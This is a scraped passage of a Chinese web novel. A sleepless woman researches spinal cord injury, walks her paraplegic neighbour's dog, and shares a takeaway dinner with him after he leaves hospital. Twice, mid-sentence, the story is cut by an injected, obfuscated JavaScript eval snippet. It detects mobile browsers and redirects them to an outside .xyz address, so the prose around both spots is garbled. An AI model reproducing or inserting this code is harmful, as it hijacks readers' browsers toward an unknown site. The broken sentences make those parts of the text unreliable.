网页一页一页往下翻:神经痛、痉挛、导尿、压疮预防、肠道管理、体位变换、低血压、尿路感染风险……术后复健、残存肌力训练、上肢代偿……护理手册、患者故事、科普视频、论坛提问。 她从客厅看到卧室,又从卧室看到厨房。所有页面都用理论陈述把“终生”两个字说得轻巧。 她把烟盒从抽屉里抽出来,走到阳台,点了第一根。 第二支,第三支......烟雾堆在玻璃上,窗外灯一点一点随着夜深而熄灭。抱抱从猫窝里探出半个脑袋,耳朵动了一下,又缩回去。 凌晨两点,她把烟掐灭,给抱抱做了宵夜。冻干加温水,加一点新开的罐头。小猫慢吞吞地吃,尾巴尖一动一动。她蹲着看它吃完,顺手把猫碗刷了,把猫砂盆捞了一遍,换了新的垫片。 她又看了一会儿网页。内容绕回最初那几条,屏幕的蓝光把许尽欢眼底的青色照得淡一点。天渐亮的时候她才起身,去二十楼。 小区里这时候还还没什么人,崽崽看见她像见了老熟人,先绕着她撒了会娇,等她把牵引扣好才往外窜。夏日微凉的晨风把草的味道卷起,崽崽每隔一会儿都会回头看她一眼,确认她还在。绕小区两圈,回家,它自己待在门口的地毯上坐下等擦脚,耳朵也让摸。 许尽欢真心实意的感叹,别人家的孩子确实是好。 她按食谱给它拌了湿粮,碗放好,随意叮嘱:“吃慢点。” 居然它真的吃慢点了。 许尽欢忍不住拍了两张吃饭吃的很香的崽崽欣赏。 回十九楼,许尽欢心里有预感,昨晚熬了一宿,这一觉应该要睡很久。正式打算睡觉前把抱抱的自动喂食器装满,水碗加到边,备用的小零食放到柜台上沿,她都得伸手才能到。她躺回沙发时,电视好像放到了小郭把炮仗当柴火塞进了灶。 她的梦很乱。走廊,诊室,雨,水声,初中的地砖,高中天台的栏杆,猫扑进灌木丛,狗围着她打圈。她在梦里试图解救以前的自己,嘴张开了,发不出声音。 闹钟没有设。手机震动了一下,她像从沼泽里挣扎着抬头,半睁眼去摸。屏幕上是一条消息: 【明天我就出院回家啦,这几天崽崽太麻烦你了。感恩的心。】 后面跟了一个谦卑到滑稽的合十的表情包。 她半眯着眼睛回:【客气。崽崽很想你,你放在沙发上的外套都被它拽进窝里睡了。】 打完字,她把后台滑掉,白色的浏览器卡片一张一张从屏幕顶端滑走,露出昨晚的全部关键词。她盯了两秒,睡意渐消。 许尽欢抓了抱枕靠回去,脑子里过了一遍这些天自己做的事:下楼遛狗、上楼做狗饭、去了三次医院、闲的没事买早茶、手腕被拽住。她不是看不懂自己的心思。 喜欢,应该是有的。 但大概率是十分浅薄的,因为对方脸的喜欢,仅仅是让她愿意答应和他一起吃饭、改变三五天的生活秩序、多回两条信息、在白天多走两步的喜欢。 她对稳定的亲密关系没任何把握。她清晰的知道自己的缺点。作息乱、情绪冷淡、社交回避,热闹的事最多一会,多了会让她疲惫。 她从没能在任何关系里长久地表现出别人期待的样子。 走一步看一步吧。 她看着手上留下有些发青的印子,无聊地想着,虽然没出血,但这算不算扯平了。 在沙发里翻了个身,继续昏昏沉沉的睡过去。 纪允川自从瘫痪。后睡眠质量就很一般。 早上五点半,窗帘缝里只一点灰白。他撑着床栏把自己挪回正中,抱着手机玩了会,等到八点左右才按铃,等护士来帮忙换床单。 护工小张在护士换完床单也带着换洗衣服进了病房。 他想洗澡,但目前他更着急逃离医院,小张便提议要不要只擦一下身体。 电动床不知道为什么和他作对,遥控器半天没反应,他只好左手抓住床栏,蓦地感受到后背有条筋绷了两下。紧接着就是可预见的右腿不受控制地抖,像最近晚上很火的在地上弹跳扭动的鱼造型的小猫玩具。 可以买个小玩具给抱抱。他像与自己不相干似的望着痉挛的腿。 纪允川无意识的憋住气,静静地等那股痉挛过去,再换另一侧。毛巾一路按下来,皮肤下那层钝痛像退潮,留下黏黏的潮气。 “纪先生,衣服要不要换一套吧?”小张给纪允川擦完身体问。 “换。”纪允川点头。 病号服下摆往上卷到胸口,右臂的防水贴边缘因为刚刚又是出汗又是擦身有点起皱,小张用棉签把贴边按平,再把干净的上衣慢慢从左侧穿进去。 “小心一些啊,右胳膊还没好。”小张有点担心地嘱咐。 “不碍事,早就结痂了。” 裤子更麻烦,小张把裤腰从脚跟往上拎到大腿外侧,再把导尿管缓缓掖进腰里预留的开口,贴布压紧;纪允川得先抓住床栏,用肩膀和手臂发力,臀部离床两厘米,等他气往下落一口,小张才把裤腰整个拉上来。 “辛苦。”纪允川这一早上还没吃饭就被折腾的七荤八素,气若游丝地说。 “这两天你脸色看着好多了。”小张笑,顺手把床头的用药表拿来划掉一格,又把两只备用纸袋套进床尾垃圾桶里。 换回干净衣服,他坐在床上歇了两分钟,指尖还轻微发抖,耳后那根跳得快的血管慢慢收下去。 上午十点,李至延来看了一眼,确认指标都稳定后,睨了纪允川一眼:“以后感觉有病提前过来,别等烧的神智不清半夜给我打电话,你哥哥我因为学医已经快秃顶,不能再被你把心脏折磨坏了。” “我这发烧也没个预兆,这可怪不着我。” 中午,齐斯年来接他。雨停了,地面还是湿的。 “走吧,派大星。”齐斯年站在门口,看他收拾完饶有趣味地开口。 “你哪像海绵宝宝了?”纪允川笑。 纪允川手抓车座转移,肩背发力再将臀部挪过去,坐稳后,他在胸前系好安全带,呼一口气。 小张在车门外将轮椅拆轮,抬车架放后备箱。医院走廊的味道慢慢留在车门外。 车上,齐斯年问:“说说呗,最近你这边的……进展?” “嗯?”纪允川不欲多说,明知故问。 “那位邻居学姐。”齐斯年把“学姐”两个字拖得很长,“看起来人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535074|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。” “哈,你果然是假出差吧?你那天发来的微信莫名其妙的。”纪允川在副驾驶抱胸看他。 齐斯年不以为意:“我这不是察觉到了某人的小心思,难道不算瞌睡了就递上枕头?” “你快算了。”纪允川虽然在受伤后就决定不开着轮椅踏足婚恋市场祸害别人,但是真正遇到许尽欢之后他才感受到什么叫不由自主。 当真的经由他人评说起这段被他刻意朦胧掉的喜欢,还是不免自卑无奈。 “千万粉丝博主,事业有成,长得漂亮。不是我这种的能追求的。”纪允川感受到犹如天堑的差距像被训了的崽崽,忽然间垂头丧气。 齐斯年不紧不慢,“据我观察,你能试试。姑娘看上去外冷内热,和你萧潇姐有点像。” “所以我更没机会。”纪允川摊手,“这不正好说明了她完全只是有教养的体面人,尊老爱幼保护残疾人的脆弱心灵。” “不好说。”齐斯年把车打进地库,语气平淡。 纪允川扯开话题:“你少操心我吧,你还是多关注一下萧潇姐,我前两天看到她发朋友圈去日本了,吵架了吧?” “快滚回家,别哪壶不开提哪壶。” 纪允川乐呵呵地揭了齐斯年的伤疤后心满意足的回家,一打开门,崽崽听到动静从窝里窜出来,想爬他腿上,又克制住,把下巴搭在他膝盖边,尾巴扫得“啪嗒啪嗒”。 “你是不是伙食太好了?” 他看着明显大了一圈的崽崽有些震惊。他终于知道为什么许尽欢家的抱抱被养的像个小煤气罐了,合着把小动物养成猪是天赋啊。 回家第一件事,就是把洗衣机开了,出院这两天穿的衣服已经被小张分了颜色,他索性整袋丢进去,打开消毒程序。 浴室里,定时来家里打扫卫生的阿姨已经把淋浴椅和防滑垫都擦得看不出水渍,他将毛巾搭在椅背。轮椅停在浴室门口,拉好刹车,左手撑着轮椅坐垫,右手扶着椅背,把自己挪到淋浴椅上。过程不快,腿拖曳在瓷砖上。 中途右小腿抖了一阵,他浑身泡沫地扶了扶膝盖,闭着眼睛等痉挛过去。 洗完澡已经是一个小时后了,穿上黑色家居服。 纪允川长舒一口气,总算觉得自己干净了。 许尽欢早上匆匆回了消息后一觉睡到晚上八点。她在黑暗里直起身,第一反应是崽崽还没吃晚饭。 她把脸洗了,胡乱把头发扎起来,抓了外套就出门。电梯里的镜子把她的影子拉成瘦长的一条,她盯着自己两秒,感觉自己像瘦长鬼影。 漫无目的地思索着怎么增肥,就到了二十楼门口,她按了密码,一边拉开防盗门,一边对着屋里说了句“崽崽——”。 纪允川就停在门后一点的位置。 许尽欢下意识地扫视着眼前刚出院的人,黑色的真丝家居服,头发有潮气,看上去瘦了些。坐在轮椅上,没穿鞋,惨白色的足背诡异地往下垂着,脚趾不自然地蜷缩成一团。 她的脑海里迅速闪回前天晚上在浏览器看到的那些各种各样的视频和图片。 屋里是熟悉的洗衣液和不怎么熟悉的沐浴露的味道。 崽崽从他脚边探出头,跑到许尽欢身边绕着她转了两圈,尾巴把她小腿拍出几道虚影表达高兴。 她愣了半秒,脸上的困意还没完全退,像迟了一拍才把线头接上:“……我睡过头,忘了你出院了。” 纪允川倒是像中了彩票似的又惊又喜:“正好。你来它开心的不得了。快进来吧,你吃晚饭了吗?我正好打算点外卖,有一家外卖特别好吃,虽然不如你的手艺那么好啦,但还是值得一吃的......” 17. 第 17 章 玄关感应灯“啪”地亮起,暖黄的光把门口两道影子拖得很细。 “不过,你这是才睡醒?要不要先喝点水啊?我冰箱里有超多饮料和茶,你自己去找一瓶爱喝的吧。”纪允川的发梢还滴着水,整个人带着一股刚冲完澡的潮湿热气。 “啊?哦!”许尽欢的声音里还带着刚睡醒的朦胧和沙哑,眼尾压着一小团困意,“不好意思啊,我随随便便就闯进来了,以后不会了。或者你把密码换了吧。” “嗨,哪用得着换密码,你想来随时来,”他笑,顺手揉了一把崽崽的头,“崽崽超喜欢你。” 崽崽像在蹦床上,一个弹射起步,然后绕着她打了两个圈,欢快又收敛地往她鞋边一放,抬头、眨眼,求表扬的样子十足可爱。 “你家冰箱确实有好多饮料。”许尽欢看着两个堪比她这位美食博主的双开门冰箱里满满当当的食物饮料不免震惊。 “外卖很快就到,你看一眼旁边的柜子,里面各种零食蛋糕什么的,你看你要不要随便垫点儿?”他从茶几下扒拉出来一堆零食,放在桌面上,生怕自己招待不周。 短短一秒,她权衡了一下,随后点头:“嗯。” “你就当自己家,随便玩随便逛,等我吹个头发啊,我很快的。”他滑到电视前打开电视,翻出遥控器,《武林外传》跳出来,选了列表循环,这才放心去卫生间吹头发。 “嗯……”她回应一声,抱着一瓶东方树叶慢慢悠悠地晃到沙发边上。熟悉的对白像安神香薰,稳定地发挥着作用。 纪允川把毛巾搭在肩上匆匆进了卫生间。浴室的风声“呼”地停了一刻,又响起,像是在抢时间把自己收拾利落。 许尽欢低头和崽崽玩,替崽崽把项圈整理了下,手指从它耳后摸过去,柔软的毛贴着掌心。 她顺着习惯把茶几上的纸巾盒拎正,把沙发靠垫立好,又把崽崽叼来的彩虹圈推回去:“想抱抱吗?” 浴室风声停了。纪允川擦着头发急匆匆回到客厅,发梢未干,呼吸也没完全平稳。轮椅在地毯边缘轻微一顿,像是怕他一个没注意人就跑了。 “那个,电视音量……合适吗?”他指了下电视。 “合适的。”她结实地抱着怀里变胖不少的崽崽坐到沙发侧,手指敲了一下,看了一眼他的右臂,“胳膊,可以洗澡了吗?” “早就可以啦,结痂好几天了。”纪允川顺手把家居服的袖子拉到手肘给她看。 他停在她对面,打算找个开场,被问到了胳膊后他也忽然像想起了什么,连忙问:“那天把你手腕抓成那样,你的手腕怎么样了?我真怕你以为我有暴力倾向是什么暴力狂。。” “暴力狂?”她被逗到,唇角轻轻一弯,“不至于。” 电台词恰到好处地从电视里落下:“你先放下我们风情万种的佟湘玉......” 她低头,余光忽然扫到地板上两滴深红,像被墨滴到的水。 她下意识地检索自己的身上,腕上的青色印几乎褪尽;视线下移,自己穿着长裤和拖鞋。然后抬头去看纪允川,目光停在他足背外侧,不知道什么时候蹭破了一小块皮,血沿着皮肤的纹理挂成半月。 但本人显然一副什么也不知道的模样,正忙着找好吃的塞给许尽欢。 许尽欢抽了张餐巾纸,轻声问:“你家医药箱呢?” “电视下面呢,咋啦?你受伤了?”他急匆匆地转动轮椅到许尽欢身边,顺着她的动作往下看,才发现柔白色的地砖上有两个显眼的血滴。 他大惊:“你哪破了?都流血了??” 许尽欢一言难尽地看着他,指了指他静静摆放在轮椅脚托上的脚:“是你流血了。” 纪允川这才低头看过去,不知什么时候蹭破的。大概是刚进门?或者从浴室出来时拖到茶几角? “所以医药箱里有消毒的吗?”许尽欢把地上的血滴擦掉,转身走到电视附近。 他下意识把轮椅往后挪了半寸,动作却又停住:“都有,酒精碘伏都有。” “你家东西还挺全。”她蹲下,抽出透明收纳盒。 她把医药箱拎起,走到他轮椅侧盘腿坐下,卷起袖口,抬手要碰他的脚。 “我自己来就好!”他几乎条件反射,耳尖“唰”地一下子红到脖颈,下意识用力推动轮圈,轮椅后退了好几步“咚”地一声撞到身后的墙,他捂后脑勺,呲牙咧嘴:“嗷——” 崽崽被这兵荒马乱的动静吓得站直,两只前爪交替踏步,紧张地“呜”了一声。 许尽欢也被这动静吓到,抬眼,面色疑惑:“你躲啥?” “我——我自己来。”他咳了一声,结结巴巴地回答,飞速把医药箱拖到手边,眼神还带着一点慌。 许尽欢见状退开,只把东西拆到触手可及的位置,棉签剥好,纱布撕角,胶带起边,纸巾铺好。她把医用垃圾袋撑开放在脚边,好让他顺手丢。 他挪到沙发,动作熟练。许尽欢默默旁观,在知晓了一切后,才看得出纪允川的双腿像两条被带动的缎子。然后她真的开始不着边际的好奇,半个身子没知觉是什么感觉。 等到坐稳后,手穿过膝弯,把受伤的那条腿抬上沙发。随着动作左右晃动好像没有踝关节的伤脚在他手的动作下踩在沙发上。 耳朵红的滴血,手上却动作稳当。 她没继续看他,主要是发现这人一边给自己上碘伏一边偷偷看她,黄色的药水全抹歪了。许尽欢索性转头看电视摸崽崽,电视里熟悉的台词落下,她把音量滑低一格。 纪允川悄悄抬头,许尽欢的侧脸闯进他的视线。光从落地灯斜下来,她睫毛投在脸颊上,立体的五官光影错落。他不自觉屏住了呼吸。 “好了。”他随手丢掉棉签,感受到了善解人意避开视线的许尽欢,耳根还红着,“小问题。” “嗯。”她把垃圾收好,打了个结。 “知道了。”他没有再贫嘴。 门铃响,外卖到了。清淡的菜被热气裹着,整个客厅的味道忽然变得温馨。许尽欢被带去餐桌上坐好,托腮看着纪允川坐在对面忙着拆盒、分装:“先这个,他家的粥特别好吃。” 许尽欢闻到了食物的香气,拿着勺子小口喝。温热落下,空荡荡的胃感受到食物的入侵,稍做抗议。于是另一道龙虾滑蛋被她挑给他那边。 “你确实挺会吃,这家外卖味道很不错。”她认真夸。 “哈!怎么样,你也被他家俘获了吧。”纪允川高兴地接受了许尽欢的夸奖,然后把鱼骨挑净推过去:“这个没有刺。” “谢谢。”许尽欢夹一块,目光掠过纪允川指尖。纪允川的手指修长,指甲被修剪的很干净,骨节清楚。指尖碰到碗沿的一瞬,瓷器发出很轻的“叮”。 她没忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542061|186510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住多看了几眼。 “你今天……还困吗?”他想找话,尽量自然,“要不要吃完就回去补一觉?” “吃完回去剪一小时片子,再睡。”她实话实说。 “你这时间表……”他忍不住,压着笑意,“对头发不太友好。” “我也觉得。”她难得没反驳,“但我天生发量多。” 他笑,眼尾那道褶在灯下更浅。崽崽趴在他轮椅边,看两个人吃饭的动静,偶尔把脑袋戳到她膝边蹭一下,被她下意识摸了一把耳朵尖,耳背立刻舒服地抖了抖。 吃到一半,他腰背忽然绷了下,像背后被拽了一根线,呼吸顿住。她察觉:“要躺一会儿吗?” “那不至于。”他随手锤了两下,淡淡补了一句,“刚出院,背还不太给面子。睡觉的时候就躺了。” 她点点头,觉得合理。 许尽欢确实有点饿了,把粥干掉三分之二,鱼吃了小半,时蔬夹了几根。她抬眼时,纪允川正低头把一次性盒叠好、套橡皮筋、垃圾分类。收拾得干净利落。 “谢谢你的外卖,很好吃。”许尽欢认真地道谢。 纪允川“嗯”了一声,一晚上的紧张情绪总算被抚平,一直压在心口那块石头松了不少:“下次你有空的话咱们还可以一起吃。我知道好多好吃的餐厅。” 她站起来,准备走,忽然停了一秒,视线落在他后脑勺:“刚才撞的地方没起包?” “没有,我头硬。”他笑。 “行吧。”她弯腰摸了摸崽崽的头:“下次见。” 崽崽“呜”了一声,尾巴拍在她小腿上,软软的。 她走到玄关换鞋,没忍住回头看了他一眼。没想到纪允川也正在看她。 许尽欢没说话,推门出去。门合上,风从走廊缝里掠进来一点,带着凉。 电梯前,玻璃里映着她冷静的脸。手机震了一下。 他发来:【到家发我消息吧。】 【虽然就在楼下~】 电梯已经停在十九层,她笑着回:【到了。】 看着防盗门被关上后, 纪允川把医药箱收回电视柜,低头拎起踏板上的脚踩在轮椅的坐垫上,许尽欢坐在他身边,他完全没心情认真消毒。创可贴都贴歪了。只好等许尽欢离开了再返工。崽崽蹲到轮椅边,仰头看他。他弯指点点它鼻尖:“别学我,一激动给自己撞墙上。” 他把臀部往前滑,背贴平。两条腿重新安分地躺在脚托上,脚踝处因为刚才挪动又垂了半寸。他低头把足背轻轻摆正,指腹掠过刚贴好的纱布边缘,确认还是十分服帖。 “崽崽。”他低声喊。小狗把下巴搭到他膝上,眼睛亮亮地看着他。 他把手机拿起来,看到那句【到了】。巴不得看出朵花来。 他缓慢而诚恳地回了一个“嗯”。又想了想,觉得太冷淡,赶紧删掉。换成一只小狗把头埋进毯子的表情包,发出去。 屏幕一黑,他靠回椅背,眼里那点病后乍亮的光终于沉寂下来。他闭上眼,小狗在腿边呼吸均匀。 电梯下到一楼,风从自动门掠进来一阵。吃的比以往多了不少,打算散步来缓解胃里不适的许尽欢推开门。手机屏再亮,是那只把头埋进毯子的小狗。她笑了一下,指腹落在屏幕上,没回。把耳机塞进耳朵,慢悠悠地走出门口,夜里的风带着植物的湿气,有些凉。